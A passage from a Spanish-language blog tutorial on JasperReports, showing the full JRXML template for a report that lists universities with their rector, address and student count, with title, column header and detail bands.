&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{alumnos}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
<span class="sc3"><span class="re1">&lt;/detail<span class="re2">&gt;</span></span></span></div></div>
<p><strong>El reporte completo.</strong><br />
Esto es todo en cuanto al diseño del reporte, todo ha sido semejante por no decir igual al reporte del <a href="http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/">tutorial anterior</a>, únicamente cambiamos el encoding para que aceptara acentos, se le agregó una nueva sección al reporte para desplegar los titulos de las columnas, la fecha se ha generado directamente en el reporte y se suprimió la consulta SQL a la base de dato, el reporte completo es el siguiente.</p>
<div class="codecolorer-container xml" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="sc3"><span class="re1">&lt;?xml</span> <span class="re0">version</span>=<span class="st0">&quot;1.0&quot;</span> <span class="re0">encoding</span>=<span class="st0">&quot;ISO-8859-1&quot;</span>&nbsp; <span class="re2">?&gt;</span></span><br />
<span class="sc0">&lt;!DOCTYPE jasperReport PUBLIC &quot;//JasperReports//DTD Report Design//EN&quot; </span><br />
<span class="sc0">&quot;http://jasperreports.sourceforge.net/dtds/jasperreport.dtd&quot;&gt;</span><br />
<span class="sc3"><span class="coMULTI">&lt;!--======================================================================================== --&gt;</span></span><br />
<span class="sc3"><span class="coMULTI">&lt;!--===================================== Por Crysfel Villa==================================== --&gt;</span></span><br />
<span class="sc3"><span class="coMULTI">&lt;!--======================================================================================== --&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;jasperReport</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">name</span>=<span class="st0">&quot;plantilla&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageWidth</span>=<span class="st0">&quot;595&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">pageHeight</span>=<span class="st0">&quot;842&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">leftMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">rightMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">topMargin</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; <span class="re0">bottomMargin</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
<br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_TITULO&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;P_SUBTITULO&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;parameter</span> <span class="re0">name</span>=<span class="st0">&quot;LOGO_URL&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
<br />
<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;universidad&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;rector&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;direccion&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;field</span> <span class="re0">name</span>=<span class="st0">&quot;alumnos&quot;</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;background<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;67&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;430&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;100&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;67&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;imageExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{LOGO_URL}]]&gt;</span><span class="sc3"><span class="re1">&lt;/imageExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/background<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;90&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;40&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;30&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">isBold</span>=<span class="st0">&quot;true&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{P_TITULO}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;line</span> <span class="re0">direction</span>=<span class="st0">&quot;TopDown&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;69&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;line&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;graphicElement</span> <span class="re0">stretchType</span>=<span class="st0">&quot;NoStretch&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/line<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;70&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;250&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{P_SUBTITULO}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField</span> <span class="re0">pattern</span>=<span class="st0">&quot;EEEEE dd MMMMM yyyy&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;260&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;70&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;270&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement</span> <span class="re0">textAlignment</span>=<span class="st0">&quot;Right&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.util.Date&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[new java.util.Date()]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;columnHeader<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span> <span class="re0">key</span>=<span class="st0">&quot;staticText&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Universidad]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;205&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Rector]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;360&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Dirección]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;490&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;100&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;text<span class="re2">&gt;</span></span></span><span class="sc2">&lt;![CDATA[Alumnos]]&gt;</span><span class="sc3"><span class="re1">&lt;/text<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/staticText<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/columnHeader<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;detail<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;15&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{universidad}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;205&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{rector}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;360&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;150&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{direccion}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;515&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
